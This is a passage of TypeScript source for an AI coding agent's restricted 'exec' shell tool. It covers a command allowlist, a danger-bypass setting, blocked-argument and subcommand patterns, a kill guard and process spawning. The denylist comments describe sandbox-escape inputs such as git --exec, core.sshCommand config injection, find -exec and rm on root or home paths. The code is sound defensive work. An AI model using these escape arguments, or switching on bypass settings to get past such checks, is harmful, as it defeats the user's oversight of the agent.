function checkSyntax(\n filePath: string,\n content: string,\n previousContent?: string,\n): Promise<SyntaxCheckResult | undefined> {\n const errors = await parseErrors(filePath, content);\n if (errors === undefined) return undefined;\n if (errors.length === 0) return { errors, preExisting: false };\n let preExisting = false;\n if (previousContent !== undefined) {\n const prevErrors = await parseErrors(filePath, previousContent);\n preExisting = prevErrors !== undefined && prevErrors.length > 0;\n }\n return { errors, preExisting };\n}\n\n/** Files that are conventionally JSONC (comments + trailing commas allowed). */\nfunction isJsoncFile(filePath: string): boolean {\n const base = path.basename(filePath).toLowerCase();\n if (base.endsWith('.jsonc')) return true;\n if (/^(tsconfig|jsconfig)([.-].*)?\\.json$/.test(base)) return true;\n const dir = path.basename(path.dirname(filePath)).toLowerCase();\n return dir === '.vscode';\n}\n\nasync function parseErrors(filePath: string, content: string): Promise<string[] | undefined> {\n if (content.length > MAX_CHECK_CHARS) return undefined;\n const ext = path.extname(filePath).toLowerCase();\n\n if (ext === '.json' || ext === '.jsonc') {\n try {\n JSON.parse(content);\n return [];\n } catch (err) {\n // Known-JSONC files (tsconfig.json, VS Code settings, *.jsonc) accept\n // comments and trailing commas \u2014 re-parse with the TS config parser\n // before declaring them broken. Plain .json stays strict: a trailing\n // comma there IS an error the model should fix.\n if (isJsoncFile(filePath)) {\n const ts = await loadTypescript();\n if (ts) {\n const jsonc = ts.parseConfigFileTextToJson(filePath, content);\n if (!jsonc.error) return [];\n return [formatDiag(ts, jsonc.error, content)];\n }\n }\n return [`JSON parse error: ${(err as Error).message}`];\n }\n }\n\n if (!TS_LIKE.has(ext)) return undefined;\n const ts = await loadTypescript();\n if (!ts) return undefined;\n\n const scriptKind =\n ext === '.tsx'\n ? ts.ScriptKind.TSX\n : ext === '.ts' || ext === '.mts' || ext === '.cts'\n ? ts.ScriptKind.TS\n : // Plain JS may legitimately contain JSX; the JSX grammar is a\n // superset for untyped code, so parsing .js/.jsx as JSX avoids\n // false positives on React files.\n ts.ScriptKind.JSX;\n\n const sourceFile = ts.createSourceFile(\n path.basename(filePath),\n content,\n ts.ScriptTarget.Latest,\n /* setParentNodes */ false,\n scriptKind,\n );\n // parseDiagnostics is not in the public .d.ts but has been the stable\n // home of the parser's syntactic diagnostics for a decade (the public\n // alternative, program.getSyntacticDiagnostics, needs a full Program).\n const diags =\n (sourceFile as unknown as {\n parseDiagnostics?: import('@typescript/typescript6').Diagnostic[];\n })\n .parseDiagnostics ?? [];\n return diags.slice(0, MAX_ERRORS).map((d) => formatDiag(ts, d, content, sourceFile));\n}\n\nfunction formatDiag(\n ts: Ts,\n diag: import('@typescript/typescript6').Diagnostic,\n content: string,\n sourceFile?: import('@typescript/typescript6').SourceFile,\n): string {\n const message = ts.flattenDiagnosticMessageText(diag.messageText, ' ');\n if (diag.start === undefined) return message;\n let line: number;\n if (sourceFile) {\n line = sourceFile.getLineAndCharacterOfPosition(diag.start).line + 1;\n } else {\n line = 1;\n for (let i = 0; i < diag.start && i < content.length; i++) {\n if (content.charCodeAt(i) === 0x0a) line++;\n }\n }\n return `line ${line}: ${message}`;\n}\n", "import { spawn } from 'node:child_process';\nimport {\n emitProcessCompleted,\n emitProcessOutput,\n emitProcessStarted,\n} from '@wrongstack/core/observability';\nimport type { Tool } from '@wrongstack/core/types';\nimport { toErrorMessage } from '@wrongstack/core/utils/error';\nimport { buildChildEnv } from './_env.js';\nimport { createOutputSpool, spoolNote } from './_output-spool.js';\nimport { COMMAND_OUTPUT_MAX_BYTES, normalizeCommandOutput, safeResolveReal } from './_util.js';\nimport { getProcessRegistry, redactCommand } from './process-registry.js';\nimport {\n buildWin32CmdShimInvocation,\n resolveWin32Command,\n} from './_win32-resolve.js';\nimport { detectDanger, type DangerAssessment } from './_danger-detect.js';\nimport { checkExecKillCommand } from './exec-kill-guard.js';\n\nconst isWin = process.platform === 'win32';\n\n// Curated default allowlist of command NAMES the `exec` tool may run. Only the\n// command name is gated (per-arg safety is the BLOCKED_ARG_PATTERNS denylist\n// below + the per-call `confirm` permission). A prior version mapped each\n// command to an allowed-args array, but those arrays were never enforced (dead\n// code) \u2014 a plain Set is the honest shape.\n//\n// Extend/trim at runtime via `configureExecPolicy()` (wired from\n// `config.tools.exec.{allow,deny}` at boot). `allow` is trusted-config-only;\n// see the security note on ExecToolConfig.\nconst DEFAULT_ALLOWED_COMMANDS: ReadonlySet<string> = new Set([\n // JS / TS toolchain\n 'node', 'npm', 'pnpm', 'yarn', 'npx', 'bun', 'deno',\n 'corepack', 'tsc', 'tsx', 'ts-node', 'vite', 'vitest', 'jest',\n 'biome', 'eslint', 'prettier', 'turbo', 'nx', 'webpack', 'rollup',\n 'parcel', 'next', 'astro', 'playwright', 'cypress',\n // version control\n 'git',\n // Rust\n 'cargo', 'rustc',\n // Go\n 'go',\n // Python\n 'python', 'python3', 'pip', 'pip3', 'pytest', 'ruff', 'mypy',\n 'uv', 'uvx', 'poetry', 'hatch', 'tox',\n // Ruby\n 'ruby', 'gem', 'bundle',\n // PHP\n 'php', 'composer', 'phpunit',\n // JVM\n 'java', 'javac', 'mvn', 'gradle', 'gradlew',\n // .NET\n 'dotnet',\n // C / C++ / native build\n 'make', 'cmake', 'ninja', 'clang', 'clang-cl', 'gcc', 'g++', 'link', 'msbuild',\n // containers / orchestration\n 'docker', 'podman', 'kubectl',\n // network (read-only intent; destructive ops still blocked by BLOCKED_ARG_PATTERNS)\n 'curl', 'wget',\n // common POSIX file/text utilities\n 'pwd', 'ls', 'cat', 'head', 'tail', 'wc', 'grep', 'rg', 'find',\n 'echo', 'sort', 'uniq', 'sed', 'awk', 'mkdir', 'cp', 'mv', 'rm',\n 'touch', 'tar',\n // Windows-native tooling (win32). All non-destructive binaries; per-arg\n // safety is still enforced by BLOCKED_ARG_PATTERNS + the destructive-ops\n // gate in bash-kill-guard.ts. `gh` is included even though it lives at\n // \"C:\\Program Files\\GitHub CLI\\gh.exe\" \u2014 resolveWin32Command handles the\n // space in the path.\n 'gh',\n 'where', 'tasklist', 'systeminfo', 'wmic', 'sc',\n 'netstat', 'ipconfig', 'nslookup', 'tracert', 'pathping',\n // Windows shell interpreters. Without these, `exec` cannot run cmd builtins\n // (`dir`, `type`, `copy`, \u2026) or any PowerShell cmdlet on Windows \u2014 a major\n // gap since those are the platform's primary shells. Arbitrary execution\n // through `cmd /c \u2026` / `powershell -c \u2026` is NOT a new hole: the permission\n // policy reconstructs the full command line (shellCommandLineFromInput) and\n // still runs it through the YOLO destructive classifier, so a genuinely\n // destructive `cmd /c del /s /q C:\\\u2026` continues to require confirmation.\n 'cmd', 'cmd.exe', 'powershell', 'powershell.exe', 'pwsh', 'pwsh.exe',\n // [core] Extended default allowlist (added 4b3d18d1 + this commit). All\n // non-destructive, broadly-used dev binaries. Per-arg safety is still\n // enforced by BLOCKED_ARG_PATTERNS + bash-kill-guard.ts.\n // --- Archives & compression ---\n '7z', '7za', 'bzip2', 'gzip', 'xz', 'unzip', 'zip', 'gtar', 'bsdtar', 'star', 'pax', 'cpio',\n // --- Android / mobile dev ---\n 'adb', 'fastboot', 'sdkmanager',\n // --- DevOps / config mgmt ---\n 'ansible', 'ansible-playbook', 'ansible-vault', 'ansible-lint', 'ansible-galaxy', 'molecule',\n // --- Cloud CLIs ---\n 'aws', 'aws-vault', 'awslocal', 'az', 'azcopy', 'gcloud', 'gsutil', 'doctl', 'linode-cli',\n // --- Native / C / C++ / linker tools ---\n 'clang++', 'clang-format', 'clang-tidy', 'clangd', 'lld', 'lldb', 'ctest', 'gmake', 'meson', 'conan', 'vcpkg', 'cl', 'rc', 'mt', 'dumpbin', 'dotnet-format',\n // --- Image / media / binary tools ---\n 'convert', 'ffmpeg', 'ffprobe', 'magick', 'gs', 'exiftool',\n // --- HTTP / fetch ---\n 'wget2', 'aria2c', 'axel', 'httpie', 'hey', 'ab', 'wrk', 'http',\n // --- Diff / patch / merge ---\n 'diff', 'diff3', 'patch', 'meld', 'kdiff3', 'kompare',\n // --- Encoding / file inspection ---\n 'dos2unix', 'unix2dos', 'iconv', 'file', 'stat', 'xxd', 'hexdump', 'od', 'base64',\n // --- SSH / crypto / signing ---\n 'ssh', 'ssh-add', 'ssh-keygen', 'ssh-keyscan', 'scp', 'sftp', 'rsync', 'gpg', 'gpg2', 'gpg-agent', 'openssl', 'step', 'keytool',\n // --- Search ---\n 'egrep', 'fgrep', 'ag', 'ack', 'sift', 'ugrep', 'fd', 'fdfind', 'jq', 'yq', 'xq', 'fx', 'gron',\n // --- K8s / container ecosystem ---\n 'kubectl.exe', 'kubeadm', 'kubelet', 'helm', 'k9s', 'kustomize', 'skaffold', 'tilt', 'minikube', 'kind', 'k3d', 'k3s',\n 'docker-compose', 'buildah', 'skopeo', 'nerdctl', 'ctr', 'ctr.exe',\n // --- Databases ---\n 'sqlite3', 'sqlite', 'psql', 'pg_dump', 'pg_restore', 'mysql', 'mysqladmin', 'mysqldump', 'mariadb', 'mariadb-dump',\n 'redis-cli', 'redis-server', 'memcached', 'etcdctl', 'consul', 'vault', 'nomad',\n 'mongosh', 'mongo', 'mongoexport', 'mongoimport', 'mongodump', 'mongorestore',\n // --- Windows extended (read-mostly ops) ---\n 'taskkill', 'gpupdate', 'gpresult', 'hostname', 'whoami', 'who', 'net', 'net1',\n // --- VCS ecosystem ---\n 'glab', 'hub', 'tea', 'git-lfs', 'tig', 'lazygit',\n // --- POSIX text utilities (extended; duplicates of pwd/ls/cat/head/tail/wc/\n // grep/find/echo/awk/mkdir/cp/mv/rm/touch from the base list above are\n // omitted \u2014 the Set is de-duplicated at runtime but a clean literal is\n // easier to maintain) ---\n 'gawk', 'tr', 'cut', 'paste', 'join', 'comm', 'expand', 'unexpand', 'fold', 'fmt', 'nl', 'pr', 'column', 'tsort',\n 'tty', 'ul', 'units', 'factor', 'seq', 'shuf', 'look', 'yes', 'true', 'false', 'test', '[', 'printf',\n 'env',\n 'tree', 'locate', 'which', 'whereis', 'type', 'hash', 'pushd', 'popd', 'dirs', 'history', 'fc', 'jobs', 'bg', 'fg', 'wait',\n 'ulimit', 'umask', 'nice', 'nohup', 'timeout', 'time', 'trap', 'exit', 'return', 'source', '.', 'alias', 'unalias',\n 'set', 'unset', 'export', 'readonly', 'typeset', 'declare', 'local', 'eval', 'exec',\n // --- Process / system inspection ---\n 'htop', 'top', 'atop', 'glances', 'iotop', 'nethogs', 'iftop', 'lsof', 'strace', 'ltrace', 'sysstat', 'vmstat', 'iostat', 'mpstat', 'sar',\n 'free', 'df', 'du', 'mount', 'umount', 'lsblk', 'blkid',\n 'kill', 'killall', 'pkill', 'pgrep', 'pidof', 'ps', 'ps.exe',\n // --- Network inspection ---\n 'ip', 'ss', 'route', 'arp', 'arping', 'ping', 'ping6', 'hping3', 'mtr', 'tracepath', 'tcpdump', 'nmap', 'netcat', 'nc', 'ncat', 'socat',\n // --- Sync / backup ---\n 'rclone', 'restic', 'borg', 'duplicati', 'duplicacy', 'syncthing', 'syncthing-cli',\n // --- Permissions / users / ACLs (POSIX) ---\n 'useradd', 'userdel', 'usermod', 'groupadd', 'groupdel', 'groupmod', 'chown', 'chmod', 'chgrp', 'getfacl', 'setfacl', 'setcap', 'getcap',\n // --- Crypto / cert mgmt (extended) ---\n 'certbot', 'mkcert', 'jarsigner',\n // --- Editors ---\n 'subl', 'code', 'code-insiders', 'cursor', 'atom', 'nano', 'vim', 'nvim', 'vi', 'emacs', 'helix', 'hx', 'micro', 'jed', 'ed', 'ex', 'mg',\n // --- Terminal multiplexers ---\n 'asciinema', 'script', 'scriptreplay', 'expect', 'screen', 'tmux', 'byobu', 'dtach', 'abduco',\n // --- Calculators / REPLs / scientific ---\n 'bc', 'dc', 'calc', 'qalc', 'genius', 'octave', 'R', 'Rscript', 'julia', 'irb', 'pry', 'ghci', 'stack', 'cabal', 'ghc',\n // --- PHP / Lua / Perl / Ruby ecosystem (extended) ---\n 'php8', 'php7', 'phpcs', 'phpcbf', 'phpmd', 'phpstan', 'psalm',\n 'lua', 'lua5.1', 'lua5.2', 'lua5.3', 'lua5.4', 'luarocks',\n 'perl', 'cpan', 'prove', 'plackup',\n 'rake', 'rspec', 'jekyll', 'node-gyp', 'node-pre-gyp',\n // --- JS / TS toolchain (extended) ---\n 'electron', 'electron-builder', 'electron-forge', 'vite-preview', 'swc', 'swc-cli', 'swcpack',\n 'mocha', 'chai', 'jasmine', 'puppeteer', 'lighthouse',\n // --- Linters / formatters (extended) ---\n 'tslint', 'stylelint', 'htmlhint', 'jshint', 'jslint', 'jscs',\n // --- Document conversion ---\n 'pandoc', 'weasyprint', 'wkhtmltopdf', 'wkhtmltoimage', 'prince', 'mdp', 'markdown', 'multimarkdown', 'cmark', 'cmark-gfm',\n // --- Office / spreadsheet ---\n 'soffice', 'libreoffice', 'unoconv', 'abiword', 'gnumeric',\n // --- Spell / grammar ---\n 'aspell', 'hunspell', 'enchant', 'languagetool',\n // --- Source-highlight / diff tools ---\n 'delta', 'bat', 'ccat', 'hl', 'highlight', 'source-highlight', 'ansifilter',\n // --- Job schedulers ---\n 'pueue', 'task-spooler', 'ts', 'at', 'atd', 'anacron', 'fcron', 'cronie', 'systemd-run', 'systemd-cat',\n // --- Plotting / visualization ---\n 'gnuplot', 'gnuplot-nox', 'veusz', 'scidavis', 'grace', 'xmgrace', 'labplot',\n // --- Security / recon (network + web) ---\n 'masscan', 'zmap', 'rustscan', 'amass', 'subfinder', 'httpx', 'nuclei', 'naabu', 'katana', 'dnsx', 'assetfinder', 'findomain', 'gau', 'waybackurls', 'httprobe', 'meg', 'subjack', 'sublert', 'chaos',\n]);\n\n// The live, effective allowlist: DEFAULT \u222A config.allow \u2212 config.deny. Replaced\n// wholesale by configureExecPolicy(); defaults until boot wires the config.\nlet allowedCommands: Set<string> = new Set(DEFAULT_ALLOWED_COMMANDS);\n\nconst normalizeCmd = (c: string): string => c.trim();\n\n/**\n * Apply the configured exec command policy. Recomputes the effective allowlist\n * as `DEFAULT \u222A allow \u2212 deny`. Call once at boot from\n * `config.tools.exec.{allow,deny}`. Idempotent (always rebuilt from defaults).\n *\n * SECURITY: `allow` must originate from TRUSTED config only \u2014 the config loader\n * strips `tools.exec.allow` from the untrusted in-project repo config before it\n * reaches here. `deny` is safe from any source (it only narrows).\n */\nexport function configureExecPolicy(opts: { allow?: readonly string[] | undefined; deny?: readonly string[] | undefined } = {}): void {\n const next = new Set(DEFAULT_ALLOWED_COMMANDS);\n for (const c of opts.allow ?? []) {\n const n = normalizeCmd(c);\n if (n) next.add(n);\n }\n for (const c of opts.deny ?? []) next.delete(normalizeCmd(c));\n allowedCommands = next;\n}\n\n/** Reset the exec allowlist to the built-in defaults (tests / re-init). */\nexport function resetExecPolicy(): void {\n allowedCommands = new Set(DEFAULT_ALLOWED_COMMANDS);\n}\n\n// -----------------------------------------------------------------------\n// Danger-detection bypass (config.tools.exec.danger.bypass)\n// -----------------------------------------------------------------------\n\n/**\n * Set of rule ids that should be skipped during danger detection. Wired\n * from `config.tools.exec.danger.bypass` at boot. Mirrors the\n * `allowedCommands` pattern above: defaults to empty, replaced wholesale\n * by `configureDangerBypass()`, reset by `resetDangerBypass()`.\n *\n * SECURITY: like `allow`, this is a per-rule weakening of the danger\n * gate. The boot path strips `tools.exec.danger.bypass` from in-project\n * repo config; only trusted config (user-global, system) sets it.\n */\nlet dangerBypass: ReadonlySet<string> = new Set();\n\n/**\n * Apply the configured danger-bypass policy. Each id in `bypass` is\n * added to the effective skip set; duplicates are fine. Idempotent.\n *\n * Call once at boot from `config.tools.exec.danger.bypass`.\n */\nexport function configureDangerBypass(opts: { bypass?: readonly string[] | undefined } = {}): void {\n const next = new Set<string>();\n for (const id of opts.bypass ?? []) {\n const trimmed = id.trim();\n if (trimmed) next.add(trimmed);\n }\n dangerBypass = next;\n}\n\n/** Reset the danger-bypass set to empty (tests / re-init). */\nexport function resetDangerBypass(): void {\n dangerBypass = new Set();\n}\n\n/**\n * Read-only view of the active bypass set. `detectDanger()` takes a\n * `bypass` argument directly, so consumers should prefer passing this\n * rather than reading the set and matching themselves.\n */\nexport function getDangerBypass(): ReadonlySet<string> {\n return dangerBypass;\n}\n\n/** Whether `cmd` is currently in the effective exec allowlist. */\nexport function isExecCommandAllowed(cmd: string): boolean {\n return allowedCommands.has(normalizeCmd(cmd));\n}\n\n/** Snapshot of the effective allowlist (sorted) \u2014 for tests / diagnostics. */\nexport function getExecAllowlist(): string[] {\n return [...allowedCommands].sort();\n}\n\nconst MAX_ARGS = 20;\n// 200 KB \u2014 larger than bash's 32 KB cap. exec commands produce structured,\n// predictable output (build logs, test results, git diffs) that the agent\n// needs in full. 200 KB is safe for context windows \u2265200K tokens while\n// still preventing a rogue build from filling the context.\nconst MAX_OUTPUT = 200_000;\nconst DEFAULT_TIMEOUT_MS = 30_000;\n\n// Per-command hard-blocks. Keep this list narrow: `exec` is already a\n// confirm-gated tool with argv passed as an array and cwd confined to the\n// project. These patterns should block clear sandbox escapes / destructive\n// operations, not normal development workflows that happen to execute code.\nconst BLOCKED_ARG_PATTERNS: Record<string, RegExp[]> = {\n python: [],\n // git --exec=<cmd> runs arbitrary commands via upload-pack/receive-pack;\n // -C <dir> changes working directory, bypassing cwd sandbox;\n // -c/--config <k>=<v> injects config that runs commands\n // (e.g. core.sshCommand, core.pager, http.proxy, alias.x=!cmd).\n git: [\n /^--exec=/,\n /^--upload-pack=/,\n /^--receive-pack=/,\n /^-C$/,\n /^-c$/,\n /^--config$/,\n /^-c=/,\n /^--config=/,\n /^--config-env=/,\n ],\n node: [],\n go: [],\n bun: [],\n docker: [],\n // find -exec/-ok/-execdir execute arbitrary commands\n find: [/^-exec$/, /^-exec;$/, /^-ok$/, /^-ok;$/, /^-execdir$/, /^-execdir;$/, /^-exec=/, /^-ok=/, /^-execdir=/],\n // rm -rf / is catastrophic \u2014 block absolute paths, home, dot-dirs,\n // and glob patterns that could expand to dangerous targets.\n // `rm -rf ./src/*` expands to project files; `rm -rf ../../` escapes upward;\n // `rm -rf /*` targets the filesystem root. All are blocked.\n rm: [/^\\//, /^[A-Za-z]:[\\\\/]/, /^~\\//, /^~$/, /^\\.$/, /^\\.\\.$/, /\\*$/, /\\/$/, /\\/\\*$/, /\\.\\//],\n // npm/pnpm subcommands are checked separately below. Matching every arg here\n // over-blocked normal dev flows such as `pnpm vitest run ...`.\n npm: [],\n pnpm: [],\n npx: [],\n};\n\n// Subcommand verbs only make sense in subcommand position. Keep externally\n// destructive actions blocked there without rejecting harmless downstream args\n// named \"run\", \"publish\", etc. passed to test runners or build tools.\nconst BLOCKED_SUBCOMMANDS: Record<string, ReadonlySet<string>> = {\n docker: new Set(['push']),\n podman: new Set(['push']),\n npm: new Set(['publish', 'deploy']),\n pnpm: new Set(['publish', 'deploy']),\n yarn: new Set(['publish']),\n};\n\nconst BLOCKED_SUBCOMMAND_SEQUENCES: Record<string, readonly (readonly string[])[]> = {\n yarn: [['npm', 'publish']],\n};\n\nfunction firstSubcommand(args: string[]): string | null {\n for (const arg of args) {\n if (arg === '--') return null;\n if (!arg.startsWith('-')) return arg;\n }\n return null;\n}\n\nfunction subcommandArgs(args: string[]): string[] {\n const out: string[] = [];\n for (const arg of args) {\n if (arg === '--') break;\n if (!arg.startsWith('-')) out.push(arg);\n }\n return out;\n}\n\nfunction validateArgs(cmd: string, args: string[]): string | null {\n const blockedSubcommands = BLOCKED_SUBCOMMANDS[cmd];\n const subcommand = firstSubcommand(args);\n if (blockedSubcommands && subcommand && blockedSubcommands.has(subcommand)) {\n return `Blocked subcommand \"${subcommand}\" for command \"${cmd}\"`;\n }\n\n const blockedSequences = BLOCKED_SUBCOMMAND_SEQUENCES[cmd];\n if (blockedSequences) {\n const actual = subcommandArgs(args);\n const blocked = blockedSequences.find((seq) => seq.every((part, idx) => actual[idx] === part));\n if (blocked) return `Blocked subcommand \"${blocked.join(' ')}\" for command \"${cmd}\"`;\n }\n\n const blocked = BLOCKED_ARG_PATTERNS[cmd];\n if (!blocked) return null;\n\n for (const arg of args) {\n for (const pattern of blocked) {\n if (pattern.test(arg)) {\n return `Blocked argument \"${arg}\" for command \"${cmd}\" (matches security pattern ${pattern})`;\n }\n }\n }\n return null;\n}\n\ninterface ExecInput {\n command: string;\n args?: string[] | undefined;\n cwd?: string | undefined;\n timeout?: number | undefined;\n}\n\ninterface ExecOutput {\n command: string;\n args: string[];\n stdout: string;\n stderr: string;\n exitCode: number;\n truncated: boolean;\n allowed: boolean;\n /**\n * Heuristic danger assessment of the (cmd, args) pair. Populated for every\n * call (not just blocked ones) so the UI/TUI can render a banner when the\n * level is 'caution' or 'destructive'. See `_danger-detect.ts` for the\n * rule set.\n *\n * Pre-execution error returns (allowlist miss, circuit breaker, etc.)\n * report `level: 'safe'` because the command never actually ran; the UI\n * should surface the error separately and not also a danger warning.\n */\n danger: DangerAssessment;\n}\n\nconst SAFE_DANGER: DangerAssessment = { level: 'safe', reasons: [] };\n\nexport const execTool: Tool<ExecInput, ExecOutput> = {\n name: 'exec',\n category: 'Shell',\n description:\n 'Execute a **whitelisted, restricted set of commands** with strict argument validation. ' +\n 'This is the **preferred and safer** alternative to the `bash` tool for running development tools (node, npm, pnpm, tsc, git, tests, linters, etc.). ' +\n 'It prevents arbitrary command injection and limits what the model can do.',\n usageHint:\n 'PREFERRED SHELL TOOL for most cases.\\n\\n' +\n 'Use this instead of `bash` whenever possible.\\n' +\n '- `command` must be in the allowlist. Defaults cover JS (node/npm/pnpm/yarn/bun/deno/tsc/vitest/eslint/biome), Go (`go build`/`go test`), Rust (cargo), Python (python/pip), Ruby (gem/bundle), JVM (java/mvn/gradle), .NET (dotnet), native (make/cmake), and git. Users can extend it via `tools.exec.allow` in config.\\n' +\n '- Arguments are passed as a clean array (no shell interpretation).\\n' +\n '- `cwd` is validated to stay inside the project.\\n' +\n '- If a command is not allowlisted, the error explains how to add it; for one-off arbitrary commands, fall back to `bash` (with strong justification).\\n' +\n 'This tool significantly reduces the risk compared to full shell access.',\n selection: {\n doNotUseWhen: 'the operation requires pipes, redirection, shell expansion, or a non-allowlisted command.',\n useInstead: ['bash'],\n },\n permission: 'confirm',\n mutating: true,\n riskTier: 'standard',\n timeoutMs: DEFAULT_TIMEOUT_MS,\n capabilities: ['shell.restricted'],\n icon: 'terminal',\n inputSchema: {\n type: 'object',\n properties: {\n command: {\n type: 'string',\n description: 'The base command to run. Must be in the internal allowlist (e.g. \"node\", \"pnpm\", \"git\", \"tsc\").',\n },\n args: {\n type: 'array',\n items: { type: 'string' },\n description: 'Arguments passed to the command. Passed as an array (no shell parsing).',\n },\n cwd: {\n type: 'string',\n description: 'Optional working directory. Must resolve inside the project root.',\n },\n timeout: {\n type: 'integer',\n description: 'Per-command timeout in milliseconds.',\n },\n },\n required: ['command'],\n },\n async execute(input, ctx, opts) {\n const registry = getProcessRegistry();\n if (!registry.canProceed) {\n return {\n command: input.command,\n args: input.args ?? [],\n stdout: '',\n stderr: 'Circuit breaker is open \u2014 too many consecutive failures. Use /kill reset to recover.',\n exitCode: 1,\n truncated: false,\n allowed: false,\n danger: SAFE_DANGER,\n };\n }\n\n const cmd = input.command.trim();\n if (!cmd)\n return {\n command: cmd,\n args: [],\n stdout: '',\n stderr: 'Empty command',\n exitCode: 1,\n truncated: false,\n allowed: false,\n danger: SAFE_DANGER,\n };\n\n if (!isExecCommandAllowed(cmd)) {\n return {\n command: cmd,\n args: input.args ?? [],\n stdout: '',\n stderr:\n `Command \"${cmd}\" not in allowlist. ` +\n `Add it to your active profile config (~/.wrongstack/profiles/<name>/config.json) ` +\n `under \"tools\": { \"exec\": { \"allow\": [\"${cmd}\"] } }, ` +\n `or use the bash tool for one-off arbitrary commands.`,\n exitCode: 1,\n truncated: false,\n allowed: false,\n danger: SAFE_DANGER,\n };\n }\n\n const args = (input.args ?? []).slice(0, MAX_ARGS);\n const timeout = Math.max(1, Math.min(input.timeout ?? DEFAULT_TIMEOUT_MS, DEFAULT_TIMEOUT_MS));\n\n // Heuristic danger assessment. Computed once here, attached to every\n // return from this point on (including error returns) so the UI can\n // render a banner for 'caution' / 'destructive' levels. The `bypass`\n // argument is wired from `config.tools.exec.danger.bypass` (see\n // `configureDangerBypass`); rule ids in that set are skipped.\n const danger: DangerAssessment = detectDanger(cmd, args, dangerBypass);\n\n // Kill guard: check if the command targets protected WrongStack processes\n // (taskkill /F /IM node.exe, Stop-Process -Name node, wmic process delete, etc.)\n const killCheck = await checkExecKillCommand(cmd, args);\n if (killCheck.blocked) {\n return {\n command: cmd,\n args,\n stdout: '',\n stderr: killCheck.reason ?? 'Kill command blocked: targets a protected WrongStack process.',\n exitCode: 1,\n truncated: false,\n allowed: false,\n danger,\n };\n }\n\n // Validate args against per-command security patterns\n const argError = validateArgs(cmd, args);\n if (argError) {\n return {\n command: cmd,\n args,\n stdout: '',\n stderr: argError,\n exitCode: 1,\n truncated: false,\n allowed: false,\n danger,\n };\n }\n\n let cwd: string;\n try {\n // Resolve cwd inside the project root and verify realpath containment so\n // an in-project symlink cannot redirect allowlisted commands outside.\n cwd = input.cwd ? await safeResolveReal(input.cwd, ctx) : await safeResolveReal(ctx.cwd, ctx);\n } catch {\n return {\n command: cmd,\n args,\n stdout: '',\n stderr: `cwd \"${input.cwd ?? ctx.cwd}\" resolves outside project root`,\n exitCode: 1,\n truncated: false,\n allowed: false,\n danger,\n };\n }\n const signal = opts.signal;\n\n return runCommand(cmd, args, cwd, timeout, signal, ctx.session?.id, danger);\n },\n};\n\nfunction runCommand(\n cmd: string,\n args: string[],\n cwd: string,\n timeout: number,\n signal: AbortSignal,\n sessionId: string | undefined,\n danger: DangerAssessment,\n): Promise<ExecOutput> {\n return new Promise((resolve) => {\n let stdout = '';\n let stderr = '';\n let killed = false;\n const resolvedOnce = { value: false };\n const finish = (result: ExecOutput): void => {\n // Guard against double-resolve: 'error' and 'close' can both fire for\n // the same abort (Node's abort path emits both), and resolving twice\n // is a no-op but the extra work (normalizeCommandOutput, registry\n // bookkeeping, spool finalize) is wasted. First writer wins.\n if (resolvedOnce.value) return;\n resolvedOnce.value = true;\n resolve(result);\n };\n const startedAt = Date.now();\n let stdoutBytes = 0;\n let stderrBytes = 0;\n let telemetryCompleted = false;\n let timedOut = false;\n // Full-output spool (stdout+stderr interleaved as they arrive): the\n // in-memory buffers keep only the first MAX_OUTPUT bytes; the spool\n // captures everything on disk and the result points at the file.\n const spool = createOutputSpool({ tool: `exec-${cmd}`, thresholdBytes: MAX_OUTPUT });\n\n // On Windows, .cmd/.bat files are not natively executable by CreateProcess.\n // resolveWin32Command() finds the full path, then the shim helper launches\n // it through cmd.exe without Node's deprecated shell+args path.\n const resolved = resolveWin32Command(cmd);\n const needsShell = isWin && (resolved.endsWith('.cmd') || resolved.endsWith('.bat'));\n const shim = needsShell ? buildWin32CmdShimInvocation(resolved, args) : null;\n const spawnCmd = shim?.command ?? resolved;\n const spawnArgs = shim?.args ?? args;\n\n const emitCompletedOnce = (\n exitCode: number,\n pid: number | undefined,\n signal?: string | undefined,\n ): void => {\n if (telemetryCompleted) return;\n telemetryCompleted = true;\n emitProcessCompleted({\n ...(pid !== undefined ? { pid } : {}),\n exitCode,\n ...(signal ? { signal } : {}),\n durationMs: Date.now() - startedAt,\n stdoutBytes,\n stderrBytes,\n timedOut,\n endedAt: new Date().toISOString(),\n });\n };\n\n // Wrap the entire spawn lifecycle in try/catch so a synchronous throw\n // (bad argv, ENOENT for missing binary, ERR_INVALID_ARG_TYPE for bad\n // signal, etc.) resolves the promise with an error response instead\n // of producing an unhandled rejection. Without this guard the\n // promise executor itself can throw, which Node treats as an\n // unhandled rejection and surfaces in process.on('unhandledRejection').\n let child: ReturnType<typeof spawn>;\n try {\n // On Windows the abort signal is handled manually below: Node's built-in\n // handling kills only the direct child, orphaning grandchildren (vitest\n // forks, dev servers, anything under a .cmd shim) that keep the inherited\n // stdio pipes open. registry.kill() tree-kills via taskkill instead.\n child = spawn(spawnCmd, spawnArgs, {\n cwd,\n env: buildChildEnv(sessionId),\n stdio: ['ignore', 'pipe', 'pipe'],\n windowsHide: true,\n ...(isWin ? {} : { signal }),\n ...(shim ? { windowsVerbatimArguments: shim.windowsVerbatimArguments } : {}),\n });\n } catch (err) {\n // spawn() can throw synchronously \u2014 e.g. ERR_INVALID_ARG_TYPE for a\n // malformed `signal`, or for some Node versions ENOENT when the binary\n // isn't on PATH. Convert to a graceful result so the tool caller\n // sees a structured error instead of an unhandled rejection that\n // would crash the host.\n spool.finalize();\n emitProcessStarted({\n parentPid: process.pid,\n command: redactCommand(`${cmd} ${args.join(' ')}`),\n args: redactCommand(args.join(' ')).split(' ').filter(Boolean),\n cwd,\n background: false,\n startedAt: new Date(startedAt).toISOString(),\n });\n emitCompletedOnce(1, undefined);\n finish({\n command: cmd,\n args,\n stdout: '',\n stderr: `spawn failed: ${toErrorMessage(err)}`,\n exitCode: 1,\n truncated: false,\n allowed: true,\n danger,\n });\n return;\n }\n\n emitProcessStarted({\n ...(child.pid !== undefined ? { pid: child.pid } : {}),\n parentPid: process.pid,\n command: redactCommand(`${cmd} ${args.join(' ')}`),\n args: redactCommand(args.join(' ')).split(' ').filter(Boolean),\n cwd,\n background: false,\n startedAt: new Date(startedAt).toISOString(),\n });\n\n // Attach the 'error' listener IMMEDIATELY after spawn, BEFORE any other\n // async setup (process registry call, setTimeout, abort listener). The\n // Node EventEmitter contract is that an 'error' event with no listener\n // rethrows on nextTick and crashes the entire process \u2014 this is the\n // exact failure mode issue #99 describes. Attach first, then do the\n // bookkeeping, so an abort / ENOENT / EPIPE that fires between spawn\n // and the rest of setup still has a listener attached.\n child.on('error', (err) => {\n // Distinguish an abort from a true spawn failure so the caller can\n // tell \"the user 